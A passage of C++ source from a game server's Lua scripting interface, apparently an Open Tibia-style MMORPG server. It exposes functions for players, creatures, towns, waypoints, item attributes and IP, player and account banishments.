    if(ChatChannel* channel = g_chat.getChannelById(channelId))
    {
        UsersMap usersMap = channel->getUsers();
        UsersMap::iterator it = usersMap.begin();

        lua_newtable(L);
        for(int32_t i = 1; it != usersMap.end(); ++it, ++i)
        {
            lua_pushnumber(L, i);
            lua_pushnumber(L, env->addThing(it->second));
            pushTable(L);
        }
    }
    else
        lua_pushboolean(L, false);

    return 1;
}

int32_t LuaScriptInterface::luaGetPlayersOnline(lua_State* L)
{
    //getPlayersOnline()
    ScriptEnviroment* env = getEnv();
    AutoList<Player>::iterator it = Player::autoList.begin();

    lua_newtable(L);
    for(int32_t i = 1; it != Player::autoList.end(); ++it, ++i)
    {
        lua_pushnumber(L, i);
        lua_pushnumber(L, env->addThing(it->second));
        pushTable(L);
    }
    return 1;
}

int32_t LuaScriptInterface::luaSetCreatureMaxHealth(lua_State* L)
{
    //setCreatureMaxHealth(uid, health)
    uint32_t maxHealth = (uint32_t)popNumber(L);

    ScriptEnviroment* env = getEnv();
    if(Creature* creature = env->getCreatureByUID(popNumber(L)))
    {
        creature->changeMaxHealth(maxHealth);
        lua_pushboolean(L, true);
    }
    else
    {
        errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaSetCreatureMaxMana(lua_State* L)
{
    //setCreatureMaxMana(uid, mana)
    uint32_t maxMana = (uint32_t)popNumber(L);

    ScriptEnviroment* env = getEnv();
    if(Creature* creature = env->getCreatureByUID(popNumber(L)))
    {
        creature->changeMaxMana(maxMana);
        lua_pushboolean(L, true);
    }
    else
    {
        errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaDoPlayerSetMaxCapacity(lua_State* L)
{
    //doPlayerSetMaxCapacity(uid, cap)
    double cap = popFloatNumber(L);

    ScriptEnviroment* env = getEnv();
    if(Player* player = env->getPlayerByUID(popNumber(L)))
    {
        player->setCapacity(cap);
        lua_pushboolean(L, true);
    }
    else
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaGetCreatureMaster(lua_State* L)
{
    //getCreatureMaster(cid)
    uint32_t cid = popNumber(L);

    ScriptEnviroment* env = getEnv();

    Creature* creature = env->getCreatureByUID(cid);
    if(!creature)
    {
        errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
        lua_pushboolean(L, false);
        return 1;
    }

    Creature* master = creature->getMaster();
    lua_pushnumber(L, master ? env->addThing(master) : cid);
    return 1;
}

int32_t LuaScriptInterface::luaGetCreatureSummons(lua_State* L)
{
    //getCreatureSummons(cid)
    ScriptEnviroment* env = getEnv();

    Creature* creature = env->getCreatureByUID(popNumber(L));
    if(!creature)
    {
        errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
        lua_pushboolean(L, false);
        return 1;
    }

    const std::list<Creature*>& summons = creature->getSummons();
    CreatureList::const_iterator it = summons.begin();

    lua_newtable(L);
    for(uint32_t i = 1; it != summons.end(); ++it, ++i)
    {
        lua_pushnumber(L, i);
        lua_pushnumber(L, env->addThing(*it));
        pushTable(L);
    }

    return 1;
}

int32_t LuaScriptInterface::luaDoPlayerSetIdleTime(lua_State* L)
{
    //doPlayerSetIdleTime(cid, amount)
    int64_t amount = popNumber(L);
    ScriptEnviroment* env = getEnv();
    if(Player* player = env->getPlayerByUID(popNumber(L)))
    {
        player->setIdleTime(amount);
        lua_pushboolean(L, true);
    }
    else
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaDoCreatureSetNoMove(lua_State* L)
{
    //doCreatureSetNoMove(cid, block)
    bool block = popNumber(L);

    ScriptEnviroment* env = getEnv();
    if(Creature* creature = env->getCreatureByUID(popNumber(L)))
    {
        creature->setNoMove(block);
        lua_pushboolean(L, true);
    }
    else
    {
        errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
        lua_pushboolean(L, false);
    }

    return 1;
}

int32_t LuaScriptInterface::luaGetPlayerRates(lua_State* L)
{
    //getPlayerRates(cid)
    ScriptEnviroment* env = getEnv();

    Player* player = env->getPlayerByUID(popNumber(L));
    if(!player)
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
        return 1;
    }

    lua_newtable(L);
    for(uint32_t i = SKILL_FIRST; i <= SKILL__LAST; ++i)
    {
        lua_pushnumber(L, i);
        lua_pushnumber(L, player->rates[(skills_t)i]);
        pushTable(L);
    }

    return 1;
}

int32_t LuaScriptInterface::luaDoPlayerSetRate(lua_State* L)
{
    //doPlayerSetRate(cid, type, value)
    float value = popFloatNumber(L);
    uint32_t type = popNumber(L);

    ScriptEnviroment* env = getEnv();
    if(Player* player = env->getPlayerByUID(popNumber(L)))
    {
        if(type <= SKILL__LAST)
        {
            player->rates[(skills_t)type] = value;
            lua_pushboolean(L, true);
        }
        else
            lua_pushboolean(L, false);
    }
    else
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
    }

    return 1;
}

int32_t LuaScriptInterface::luaDoPlayerSwitchSaving(lua_State* L)
{
    //doPlayerSwitchSaving(cid)
    ScriptEnviroment* env = getEnv();
    if(Player* player = env->getPlayerByUID(popNumber(L)))
    {
        player->switchSaving();
        lua_pushboolean(L, true);
    }
    else
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaDoPlayerSave(lua_State* L)
{
    //doPlayerSave(cid[, shallow = false])
    bool shallow = false;
    if(lua_gettop(L) > 1)
        shallow = popNumber(L);

    ScriptEnviroment* env = getEnv();
    if(Player* player = env->getPlayerByUID(popNumber(L)))
        lua_pushboolean(L, IOLoginData::getInstance()->savePlayer(player, false, shallow));
    else
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaGetTownId(lua_State* L)
{
    //getTownId(townName)
    std::string townName = popString(L);
    if(Town* town = Towns::getInstance()->getTown(townName))
        lua_pushnumber(L, town->getID());
    else
        lua_pushboolean(L, false);

    return 1;
}

int32_t LuaScriptInterface::luaGetTownName(lua_State* L)
{
    //getTownName(townId)
    uint32_t townId = popNumber(L);
    if(Town* town = Towns::getInstance()->getTown(townId))
        lua_pushstring(L, town->getName().c_str());
    else
        lua_pushboolean(L, false);

    return 1;
}

int32_t LuaScriptInterface::luaGetTownTemplePosition(lua_State* L)
{
    //getTownTemplePosition(townId)
    bool displayError = true;
    if(lua_gettop(L) >= 2)
        displayError = popNumber(L);

    uint32_t townId = popNumber(L);
    if(Town* town = Towns::getInstance()->getTown(townId))
        pushPosition(L, town->getPosition(), 255);
    else
        lua_pushboolean(L, false);

    return 1;
}

int32_t LuaScriptInterface::luaGetTownHouses(lua_State* L)
{
    //getTownHouses(townId)
    uint32_t townId = 0;
    if(lua_gettop(L) > 0)
        townId = popNumber(L);

    HouseMap::iterator it = Houses::getInstance()->getHouseBegin();
    lua_newtable(L);
    for(uint32_t i = 1; it != Houses::getInstance()->getHouseEnd(); ++i, ++it)
    {
        if(townId != 0 && it->second->getTownId() != townId)
            continue;

        lua_pushnumber(L, i);
        lua_pushnumber(L, it->second->getId());
        pushTable(L);
    }

    return 1;
}

int32_t LuaScriptInterface::luaGetSpectators(lua_State* L)
{
    //getSpectators(centerPos, rangex, rangey[, multifloor = false])
    bool multifloor = false;
    if(lua_gettop(L) > 3)
        multifloor = popNumber(L);

    uint32_t rangey = popNumber(L), rangex = popNumber(L);
    PositionEx centerPos;
    popPosition(L, centerPos);

    SpectatorVec list;
    g_game.getSpectators(list, centerPos, false, multifloor, rangex, rangex, rangey, rangey);
    if(list.empty())
    {
        lua_pushnil(L);
        return 1;
    }

    ScriptEnviroment* env = getEnv();
    SpectatorVec::const_iterator it = list.begin();

    lua_newtable(L);
    for(uint32_t i = 1; it != list.end(); ++it, ++i)
    {
        lua_pushnumber(L, i);
        lua_pushnumber(L, env->addThing(*it));
        pushTable(L);
    }

    return 1;
}

int32_t LuaScriptInterface::luaGetHighscoreString(lua_State* L)
{
    //getHighscoreString(skillId)
    uint16_t skillId = popNumber(L);
    if(skillId <= SKILL__LAST)
        lua_pushstring(L, g_game.getHighscoreString(skillId).c_str());
    else
        lua_pushboolean(L, false);

    return 1;
}

int32_t LuaScriptInterface::luaGetWaypointList(lua_State* L)
{
    //getWaypointList()
    WaypointMap waypointsMap = g_game.getMap()->waypoints.getWaypointsMap();
    WaypointMap::iterator it = waypointsMap.begin();

    lua_newtable(L);
    for(uint32_t i = 1; it != waypointsMap.end(); ++it, ++i)
    {
        createTable(L, i);
        setField(L, "name", it->first);
        setField(L, "pos", it->second->pos.x);
        pushTable(L);
    }

    return 1;
}

int32_t LuaScriptInterface::luaGetWaypointPosition(lua_State* L)
{
    //getWaypointPosition(name)
    if(WaypointPtr waypoint = g_game.getMap()->waypoints.getWaypointByName(popString(L)))
        pushPosition(L, waypoint->pos, 0);
    else
        lua_pushboolean(L, false);

    return 1;
}

int32_t LuaScriptInterface::luaDoWaypointAddTemporial(lua_State* L)
{
    //doWaypointAddTemporial(name, pos)
    PositionEx pos;
    popPosition(L, pos);

    g_game.getMap()->waypoints.addWaypoint(WaypointPtr(new Waypoint(popString(L), pos)));
    lua_pushboolean(L, true);
    return 1;
}

int32_t LuaScriptInterface::luaGetGameState(lua_State* L)
{
    //getGameState()
    lua_pushnumber(L, g_game.getGameState());
    return 1;
}

int32_t LuaScriptInterface::luaDoSetGameState(lua_State* L)
{
    //doSetGameState(id)
    uint32_t id = popNumber(L);
    if(id >= GAME_STATE_FIRST && id <= GAME_STATE_LAST)
    {
        Dispatcher::getInstance().addTask(createTask(boost::bind(&Game::setGameState, &g_game, (GameState_t)id)));
        lua_pushboolean(L, true);
    }
    else
        lua_pushboolean(L, false);

    return 1;
}

int32_t LuaScriptInterface::luaDoCreatureExecuteTalkAction(lua_State* L)
{
    //doCreatureExecuteTalkAction(cid, text[, ignoreAccess[, channelId]])
    uint32_t params = lua_gettop(L), channelId = CHANNEL_DEFAULT;
    if(params > 3)
        channelId = popNumber(L);

    bool ignoreAccess = false;
    if(params > 2)
        ignoreAccess = popNumber(L);

    std::string text = popString(L);
    ScriptEnviroment* env = getEnv();
    if(Creature* creature = env->getCreatureByUID(popNumber(L)))
        lua_pushboolean(L, g_talkActions->onPlayerSay(creature, channelId, text, ignoreAccess));
    else
    {
        errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
        lua_pushboolean(L, false);
    }

    return 1;
}

int32_t LuaScriptInterface::luaDoExecuteRaid(lua_State* L)
{
    //doExecuteRaid(name)
    std::string raidName = popString(L);
    if(Raids::getInstance()->getRunning())
    {
        lua_pushboolean(L, false);
        return 1;
    }

    Raid* raid = Raids::getInstance()->getRaidByName(raidName);
    if(!raid || !raid->isLoaded())
    {
        errorEx("Raid with name " + raidName + " does not exists.");
        lua_pushboolean(L, false);
        return 1;
    }

    lua_pushboolean(L, raid->startRaid());
    return 1;
}

int32_t LuaScriptInterface::luaDoReloadInfo(lua_State* L)
{
    //doReloadInfo(id[, cid])
    uint32_t cid = 0;
    if(lua_gettop(L) > 1)
        cid = popNumber(L);

    uint32_t id = popNumber(L);
    if(id >= RELOAD_FIRST && id <= RELOAD_LAST)
    {
        Scheduler::getInstance().addEvent(createSchedulerTask(SCHEDULER_MINTICKS,
            boost::bind(&Game::reloadInfo, &g_game, (ReloadInfo_t)id, cid)));
        lua_pushboolean(L, true);
    }
    else
        lua_pushboolean(L, false);

    return 1;
}

int32_t LuaScriptInterface::luaDoSaveServer(lua_State* L)
{
    //doSaveServer([shallow])
    bool shallow = false;
    if(lua_gettop(L) > 0)
        shallow = popNumber(L);

    Dispatcher::getInstance().addTask(createTask(boost::bind(&Game::saveGameState, &g_game, shallow)));
    return 1;
}

int32_t LuaScriptInterface::luaDoCleanHouse(lua_State* L)
{
    //doCleanHouse(houseId)
    uint32_t houseId = popNumber(L);
    if(House* house = Houses::getInstance()->getHouse(houseId))
    {
        house->clean();
        lua_pushboolean(L, true);
    }
    else
        lua_pushboolean(L, false);

    return 1;
}

int32_t LuaScriptInterface::luaDoCleanMap(lua_State* L)
{
    //doCleanMap()
    uint32_t count = 0;
    g_game.cleanMap(count);
    lua_pushnumber(L, count);
    return 1;
}

int32_t LuaScriptInterface::luaDoRefreshMap(lua_State* L)
{
    //doRefreshMap()
    g_game.proceduralRefresh();
    return 1;
}

int32_t LuaScriptInterface::luaDoUpdateHouseAuctions(lua_State* L)
{
    //doUpdateHouseAuctions()
    lua_pushboolean(L, IOMapSerialize::getInstance()->updateAuctions());
    return 1;
}

int32_t LuaScriptInterface::luaGetItemIdByName(lua_State* L)
{
    //getItemIdByName(name[, displayError = true])
    bool displayError = true;
    if(lua_gettop(L) >= 2)
        displayError = popNumber(L);

    int32_t itemId = Item::items.getItemIdByName(popString(L));
    if(itemId == -1)
    {
        if(displayError)
            errorEx(getError(LUA_ERROR_ITEM_NOT_FOUND));

        lua_pushboolean(L, false);
    }
    else
        lua_pushnumber(L, itemId);

    return 1;
}

int32_t LuaScriptInterface::luaGetItemInfo(lua_State* L)
{
    //getItemInfo(itemid)
    const ItemType* item;
    if(!(item = Item::items.getElement(popNumber(L))))
    {
        lua_pushboolean(L, false);
        return 1;
    }

    lua_newtable(L);
    setFieldBool(L, "stopTime", item->stopTime);
    setFieldBool(L, "showCount", item->showCount);
    setFieldBool(L, "clientCharges", item->clientCharges);
    setFieldBool(L, "stackable", item->stackable);
    setFieldBool(L, "showDuration", item->showDuration);
    setFieldBool(L, "showCharges", item->showCharges);
    setFieldBool(L, "showAttributes", item->showCharges);
    setFieldBool(L, "distRead", item->allowDistRead);
    setFieldBool(L, "readable", item->canReadText);
    setFieldBool(L, "writable", item->canWriteText);
    setFieldBool(L, "forceSerialize", item->forceSerialize);
    setFieldBool(L, "vertical", item->isVertical);
    setFieldBool(L, "horizontal", item->isHorizontal);
    setFieldBool(L, "hangable", item->isHangable);
    setFieldBool(L, "usable", item->useable);
    setFieldBool(L, "movable", item->moveable);
    setFieldBool(L, "pickupable", item->pickupable);
    setFieldBool(L, "rotable", item->rotable);
    setFieldBool(L, "replacable", item->replaceable);
    setFieldBool(L, "hasHeight", item->hasHeight);
    setFieldBool(L, "blockSolid", item->blockSolid);
    setFieldBool(L, "blockPickupable", item->blockPickupable);
    setFieldBool(L, "blockProjectile", item->blockProjectile);
    setFieldBool(L, "blockPathing", item->blockPathFind);
    setFieldBool(L, "allowPickupable", item->allowPickupable);
    setFieldBool(L, "alwaysOnTop", item->alwaysOnTop);

    createTable(L, "floorChange");
    for(int32_t i = CHANGE_FIRST; i <= CHANGE_LAST; ++i)
    {
        lua_pushnumber(L, i);
        lua_pushboolean(L, item->floorChange[i - 1]);
        pushTable(L);
    }

    pushTable(L);
    setField(L, "magicEffect", (int32_t)item->magicEffect);
    setField(L, "fluidSource", (int32_t)item->fluidSource);
    setField(L, "weaponType", (int32_t)item->weaponType);
    setField(L, "bedPartnerDirection", (int32_t)item->bedPartnerDir);
    setField(L, "ammoAction", (int32_t)item->ammoAction);
    setField(L, "combatType", (int32_t)item->combatType);
    setField(L, "corpseType", (int32_t)item->corpseType);
    setField(L, "shootType", (int32_t)item->shootType);
    setField(L, "ammoType", (int32_t)item->ammoType);

    createTable(L, "transformUseTo");
    setField(L, "female", item->transformUseTo[PLAYERSEX_FEMALE]);
    setField(L, "male", item->transformUseTo[PLAYERSEX_MALE]);

    pushTable(L);
    setField(L, "transformToFree", item->transformToFree);
    setField(L, "transformEquipTo", item->transformEquipTo);
    setField(L, "transformDeEquipTo", item->transformDeEquipTo);
    setField(L, "clientId", item->clientId);
    setField(L, "maxItems", item->maxItems);
    setField(L, "slotPosition", item->slotPosition);
    setField(L, "wieldPosition", item->wieldPosition);
    setField(L, "speed", item->speed);
    setField(L, "maxTextLength", item->maxTextLen);
    setField(L, "writeOnceItemId", item->writeOnceItemId);
    setField(L, "attack", item->attack);
    setField(L, "extraAttack", item->extraAttack);
    setField(L, "defense", item->defense);
    setField(L, "extraDefense", item->extraDefense);
    setField(L, "armor", item->armor);
    setField(L, "breakChance", item->breakChance);
    setField(L, "hitChance", item->hitChance);
    setField(L, "maxHitChance", item->maxHitChance);
    setField(L, "runeLevel", item->runeLevel);
    setField(L, "runeMagicLevel", item->runeMagLevel);
    setField(L, "lightLevel", item->lightLevel);
    setField(L, "lightColor", item->lightColor);
    setField(L, "decayTo", item->decayTo);
    setField(L, "rotateTo", item->rotateTo);
    setField(L, "alwaysOnTopOrder", item->alwaysOnTopOrder);
    setField(L, "shootRange", item->shootRange);
    setField(L, "charges", item->charges);
    setField(L, "decayTime", item->decayTime);
    setField(L, "attackSpeed", item->attackSpeed);
    setField(L, "wieldInfo", item->wieldInfo);
    setField(L, "minRequiredLevel", item->minReqLevel);
    setField(L, "minRequiredMagicLevel", item->minReqMagicLevel);
    setField(L, "worth", item->worth);
    setField(L, "levelDoor", item->levelDoor);
    setField(L, "name", item->name.c_str());
    setField(L, "plural", item->pluralName.c_str());
    setField(L, "article", item->article.c_str());
    setField(L, "description", item->description.c_str());
    setField(L, "runeSpellName", item->runeSpellName.c_str());
    setField(L, "vocationString", item->vocationString.c_str());

    createTable(L, "abilities");
    setFieldBool(L, "manaShield", item->abilities.manaShield);
    setFieldBool(L, "invisible", item->abilities.invisible);
    setFieldBool(L, "regeneration", item->abilities.regeneration);
    setFieldBool(L, "preventLoss", item->abilities.preventLoss);
    setFieldBool(L, "preventDrop", item->abilities.preventDrop);
    setField(L, "elementType", (int32_t)item->abilities.elementType);
    setField(L, "elementDamage", item->abilities.elementDamage);
    setField(L, "speed", item->abilities.speed);
    setField(L, "healthGain", item->abilities.healthGain);
    setField(L, "healthTicks", item->abilities.healthTicks);
    setField(L, "manaGain", item->abilities.manaGain);
    setField(L, "manaTicks", item->abilities.manaTicks);
    setField(L, "conditionSuppressions", item->abilities.conditionSuppressions);

    //TODO: absorb, increment, reflect, skills, skillsPercent, stats, statsPercent

    pushTable(L);
    setField(L, "group", (int32_t)item->group);
    setField(L, "type", (int32_t)item->type);
    setFieldFloat(L, "weight", item->weight);
    return 1;
}

int32_t LuaScriptInterface::luaGetItemAttribute(lua_State* L)
{
    //getItemAttribute(uid, key)
    std::string key = popString(L);
    ScriptEnviroment* env = getEnv();

    Item* item = env->getItemByUID(popNumber(L));
    if(!item)
    {
        errorEx(getError(LUA_ERROR_ITEM_NOT_FOUND));
        lua_pushnil(L);
        return 1;
    }

    boost::any value = item->getAttribute(key);
    if(value.empty())
        lua_pushnil(L);
    else if(value.type() == typeid(std::string))
        lua_pushstring(L, boost::any_cast<std::string>(value).c_str());
    else if(value.type() == typeid(int32_t))
        lua_pushnumber(L, boost::any_cast<int32_t>(value));
    else if(value.type() == typeid(float))
        lua_pushnumber(L, boost::any_cast<float>(value));
    else if(value.type() == typeid(bool))
        lua_pushboolean(L, boost::any_cast<bool>(value));
    else
        lua_pushnil(L);

    return 1;
}

int32_t LuaScriptInterface::luaDoItemSetAttribute(lua_State* L)
{
    //doItemSetAttribute(uid, key, value)
    boost::any value;
    if(lua_isnumber(L, -1))
    {
        float tmp = popFloatNumber(L);
        if(std::floor(tmp) < tmp)
            value = tmp;
        else
            value = (int32_t)tmp;
    }
    else if(lua_isboolean(L, -1))
        value = popBoolean(L);
    else if(lua_isstring(L, -1))
        value = popString(L);
    else
    {
        lua_pop(L, 1);
        errorEx("Invalid data type");

        lua_pushboolean(L, false);
        return 1;
    }

    std::string key = popString(L);
    ScriptEnviroment* env = getEnv();

    Item* item = env->getItemByUID(popNumber(L));
    if(!item)
    {
        errorEx(getError(LUA_ERROR_ITEM_NOT_FOUND));
        lua_pushboolean(L, false);
        return 1;
    }

    if(value.type() == typeid(int32_t))
    {
        if(key == "uid")
        {
            int32_t tmp = boost::any_cast<int32_t>(value);
            if(tmp < 1000 || tmp > 0xFFFF)
            {
                errorEx("Value for protected key \"uid\" must be in range of 1000 to 65535");
                lua_pushboolean(L, false);
                return 1;
            }

            item->setUniqueId(tmp);
        }        
        else if(key == "aid")
            item->setActionId(boost::any_cast<int32_t>(value));
        else
            item->setAttribute(key, boost::any_cast<int32_t>(value));
    }
    else
        item->setAttribute(key, value);

    lua_pushboolean(L, true);
    return 1;
}

int32_t LuaScriptInterface::luaDoItemEraseAttribute(lua_State* L)
{
    //doItemEraseAttribute(uid, key)
    std::string key = popString(L);
    ScriptEnviroment* env = getEnv();

    Item* item = env->getItemByUID(popNumber(L));
    if(!item)
    {
        errorEx(getError(LUA_ERROR_ITEM_NOT_FOUND));
        lua_pushboolean(L, false);
        return 1;
    }

    bool ret = true;
    if(key == "uid")
    {
        errorEx("Attempt to erase protected key \"uid\".");
        ret = false;
    }
    else if(key != "aid")
        item->eraseAttribute(key);
    else
        item->resetActionId();

    lua_pushboolean(L, ret);
    return 1;
}

int32_t LuaScriptInterface::luaGetItemWeight(lua_State* L)
{
    //getItemWeight(itemid[, precise = true])
    bool precise = true;
    if(lua_gettop(L) > 2)
        precise = popNumber(L);

    ScriptEnviroment* env = getEnv();
    Item* item = env->getItemByUID(popNumber(L));
    if(!item)
    {
        errorEx(getError(LUA_ERROR_ITEM_NOT_FOUND));
        lua_pushboolean(L, false);
        return 1;
    }

    double weight = item->getWeight();
    if(precise)
    {
        std::stringstream ws;
        ws << std::fixed << std::setprecision(2) << weight;
        weight = atof(ws.str().c_str());
    }

    lua_pushnumber(L, weight);
    return 1;
}

int32_t LuaScriptInterface::luaHasItemProperty(lua_State* L)
{
    //hasItemProperty(uid, prop)
    uint32_t prop = popNumber(L);
    ScriptEnviroment* env = getEnv();

    Item* item = env->getItemByUID(popNumber(L));
    if(!item)
    {
        errorEx(getError(LUA_ERROR_ITEM_NOT_FOUND));
        lua_pushboolean(L, false);
        return 1;
    }

    //Check if the item is a tile, so we can get more accurate properties
    bool tmp = item->hasProperty((ITEMPROPERTY)prop);
    if(item->getTile() && item->getTile()->ground == item)
        tmp = item->getTile()->hasProperty((ITEMPROPERTY)prop);

    lua_pushboolean(L, tmp);
    return 1;
}

int32_t LuaScriptInterface::luaIsIpBanished(lua_State* L)
{
    //isIpBanished(ip[, mask])
    uint32_t mask = 0xFFFFFFFF;
    if(lua_gettop(L) > 1)
        mask = popNumber(L);

    lua_pushboolean(L, IOBan::getInstance()->isIpBanished((uint32_t)popNumber(L), mask));
    return 1;
}

int32_t LuaScriptInterface::luaIsPlayerBanished(lua_State* L)
{
    //isPlayerBanished(name/guid, type)
    PlayerBan_t type = (PlayerBan_t)popNumber(L);
    if(lua_isnumber(L, -1))
        lua_pushboolean(L, IOBan::getInstance()->isPlayerBanished((uint32_t)popNumber(L), type));
    else
        lua_pushboolean(L, IOBan::getInstance()->isPlayerBanished(popString(L), type));

    return 1;
}

int32_t LuaScriptInterface::luaIsAccountBanished(lua_State* L)
{
    //isAccountBanished(accountId[, playerId])
    uint32_t playerId = 0;
    if(lua_gettop(L) > 1)
        playerId = popNumber(L);

    lua_pushboolean(L, IOBan::getInstance()->isAccountBanished((uint32_t)popNumber(L), playerId));
    return 1;
}

int32_t LuaScriptInterface::luaDoAddIpBanishment(lua_State* L)
{
    //doAddIpBanishment(ip[, mask[, length[, reason[, comment[, admin[, statement]]]]]])
    uint32_t admin = 0, reason = 21, mask = 0xFFFFFFFF, params = lua_gettop(L);
    int64_t length = time(NULL) + g_config.getNumber(ConfigManager::IPBANISHMENT_LENGTH);
    std::string statement, comment;

    if(params > 6)
        statement = popString(L);

    if(params > 5)
        admin = popNumber(L);

    if(params > 4)
        comment = popString(L);

    if(params > 3)
        reason = popNumber(L);

    if(params > 2)
        length = popNumber(L);

    if(params > 1)
        mask = popNumber(L);

    lua_pushboolean(L, IOBan::getInstance()->addIpBanishment((uint32_t)popNumber(L),
        length, reason, comment, admin, mask, statement));
    return 1;
}

int32_t LuaScriptInterface::luaDoAddPlayerBanishment(lua_State* L)
{
    //doAddPlayerBanishment(name/guid[, type[, length[, reason[, action[, comment[, admin[, statement]]]]]]])
    uint32_t admin = 0, reason = 21, params = lua_gettop(L);
    int64_t length = -1;
    std::string statement, comment;

    ViolationAction_t action = ACTION_NAMELOCK;
    PlayerBan_t type = PLAYERBAN_LOCK;
    if(params > 7)
        statement = popString(L);

    if(params > 6)
        admin = popNumber(L);

    if(params > 5)
        comment = popString(L);

    if(params > 4)
        action = (ViolationAction_t)popNumber(L);

    if(params > 3)
        reason = popNumber(L);

    if(params > 2)
        length = popNumber(L);

    if(params > 1)
        type = (PlayerBan_t)popNumber(L);

    if(lua_isnumber(L, -1))
        lua_pushboolean(L, IOBan::getInstance()->addPlayerBanishment((uint32_t)popNumber(L),
            length, reason, action, comment, admin, type, statement));
    else
        lua_pushboolean(L, IOBan::getInstance()->addPlayerBanishment(popString(L),
            length, reason, action, comment, admin, type, statement));

    return 1;
}

int32_t LuaScriptInterface::luaDoAddAccountBanishment(lua_State* L)
{
    //doAddAccountBanishment(accountId[, playerId[, length[, reason[, action[, comment[, admin[, statement]]]]]]])
    uint32_t admin = 0, reason = 21, playerId = 0, params = lua_gettop(L);
    int64_t length = time(NULL) + g_config.getNumber(ConfigManager::BAN_LENGTH);
    std::string statement, comment;

    ViolationAction_t action = ACTION_BANISHMENT;
    if(params > 7)
        statement = popString(L);

    if(params > 6)
        admin = popNumber(L);

    if(params > 5)
        comment = popString(L);

    if(params > 4)
        action = (ViolationAction_t)popNumber(L);

    if(params > 3)

        reason = popNumber(L);

    if(params > 2)
        length = popNumber(L);

    if(params > 1)
        playerId = popNumber(L);

    lua_pushboolean(L, IOBan::getInstance()->addAccountBanishment((uint32_t)popNumber(L),
        length, reason, action, comment, admin, playerId, statement));
    return 1;
}

int32_t LuaScriptInterface::luaDoAddNotation(lua_State* L)
{
    //doAddNotation(accountId[, playerId[, reason[, comment[, admin[, statement]]]]]])
    uint32_t admin = 0, reason = 21, playerId = 0, params = lua_gettop(L);
    std::string statement, comment;

    if(params > 5)
        statement = popString(L);

    if(params > 4)
        admin = popNumber(L);

    if(params > 3)
        comment = popString(L);

    if(params > 2)
        reason = popNumber(L);

    if(params > 1)
        playerId = popNumber(L);

    lua_pushboolean(L, IOBan::getInstance()->addNotation((uint32_t)popNumber(L),
        reason, comment, admin, playerId, statement));
    return 1;
}

int32_t LuaScriptInterface::luaDoAddStatement(lua_State* L)
{
    //doAddStatement(name/guid[, channelId[, reason[, comment[, admin[, statement]]]]]])
    uint32_t admin = 0, reason = 21, params = lua_gettop(L);
    int16_t channelId = -1;
    std::string statement, comment;

    if(params > 5)
        statement = popString(L);

    if(params > 4)
        admin = popNumber(L);

    if(params > 3)
        comment = popString(L);

    if(params > 2)
        reason = popNumber(L);

    if(params > 1)
        channelId = popNumber(L);

    if(lua_isnumber(L, -1))
        lua_pushboolean(L, IOBan::getInstance()->addStatement((uint32_t)popNumber(L),
            reason, comment, admin, channelId, statement));
    else
        lua_pushboolean(L, IOBan::getInstance()->addStatement(popString(L),
            reason, comment, admin, channelId, statement));

    return 1;
}

int32_t LuaScriptInterface::luaDoRemoveIpBanishment(lua_State* L)
{
    //doRemoveIpBanishment(ip[, mask])
    uint32_t mask = 0xFFFFFFFF;
    if(lua_gettop(L) > 1)
        mask = popNumber(L);

    lua_pushboolean(L, IOBan::getInstance()->removeIpBanishment(
        (uint32_t)popNumber(L), mask));
    return 1;
}

int32_t LuaScriptInterface::luaDoRemovePlayerBanishment(lua_State* L)
{
    //doRemovePlayerBanishment(name/guid, type)
    PlayerBan_t type = (PlayerBan_t)popNumber(L);
    if(lua_isnumber(L, -1))
        lua_pushboolean(L, IOBan::getInstance()->removePlayerBanishment((uint32_t)popNumber(L), type));
    else
        lua_pushboolean(L, IOBan::getInstance()->removePlayerBanishment(popString(L), type));

    return 1;
}

int32_t LuaScriptInterface::luaDoRemoveAccountBanishment(lua_State* L)
{
    //doRemoveAccountBanishment(accountId[, playerId])
    uint32_t playerId = 0;
    if(lua_gettop(L) > 1)
        playerId = popNumber(L);

    lua_pushboolean(L, IOBan::getInstance()->removeAccountBanishment((uint32_t)popNumber(L), playerId));
    return 1;
}

int32_t LuaScriptInterface::luaDoRemoveNotations(lua_State* L)
{
    //doRemoveNotations(accountId[, playerId])
    uint32_t playerId = 0;
    if(lua_gettop(L) > 1)
        playerId = popNumber(L);

    lua_pushboolean(L, IOBan::getInstance()->removeNotations((uint32_t)popNumber(L), playerId));
    return 1;
}

int32_t LuaScriptInterface::luaDoRemoveStatements(lua_State* L)
{
    //doRemoveStatements(name/guid[, channelId])
    int16_t channelId = -1;
    if(lua_gettop(L) > 1)
        channelId = popNumber(L);

    if(lua_isnumber(L, -1))
        lua_pushboolean(L, IOBan::getInstance()->removeStatements((uint32_t)popNumber(L), channelId));
    else
        lua_pushboolean(L, IOBan::getInstance()->removeStatements(popString(L), channelId));

    return 1;
}

int32_t LuaScriptInterface::luaGetNotationsCount(lua_State* L)
{
    //getNotationsCount(accountId[, playerId])
    uint32_t playerId = 0;
    if(lua_gettop(L) > 1)
        playerId = popNumber(L);

    lua_pushnumber(L, IOBan::getInstance()->getNotationsCount((uint32_t)popNumber(L), playerId));
    return 1;
}

int32_t LuaScriptInterface::luaGetStatementsCount(lua_State* L)
{
    //getStatementsCount(name/guid[, channelId])
    int16_t channelId = -1;
    if(lua_gettop(L) > 1)
        channelId = popNumber(L);

    if(lua_isnumber(L, -1))
